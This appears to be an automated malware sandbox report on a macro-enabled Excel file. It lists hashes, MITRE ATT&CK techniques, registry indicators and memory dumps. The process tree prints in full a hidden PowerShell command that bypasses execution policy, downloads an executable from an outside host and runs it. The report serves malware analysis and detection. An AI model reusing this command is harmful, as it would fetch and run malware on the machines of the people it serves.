88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-11-2024 13:58

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General

Target

88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39(1).xlsm
Size

435KB
MD5

adfcfa59a06bbc5a0faa8f5b0ff663fe
SHA1

01d4b8e70b641863727d671e9b087633f3b3a37e
SHA256

88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39
SHA512

0749086410e6ebaab4a23a2eb46e0bddafa134c8a704ec6b1b860a6d9016d6a6b877c2cff6be5eb5161c214fbdf731ad002fec0ab155d1e4557ee30c5a1bf836
SSDEEP

12288:el3PBexJxH0cZtSlOSgjG3IWNqAvfTYxv25EN:e5PBexJJF2cSwG4ofTn5Y

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2536	1404	powershell.exe	30

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2536	powershell.exe
2536	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1404	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 2536	1404	EXCEL.EXE	31
PID 1404 wrote to memory of 2536	1404	EXCEL.EXE	31
PID 1404 wrote to memory of 2536	1404	EXCEL.EXE	31
PID 1404 wrote to memory of 2536	1404	EXCEL.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39(1).xlsm
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://cia.tf/2ed7362e959d42385d4e6d231a6840dd.exe" -OutFile $TempFile; Start-Process $TempFile;
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1404-1-0x00000000728CD000-0x00000000728D8000-memory.dmp

Filesize
44KB

Download
memory/1404-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1404-2-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/1404-3-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/1404-4-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/1404-7-0x00000000728CD000-0x00000000728D8000-memory.dmp

Filesize
44KB

Download
memory/1404-8-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download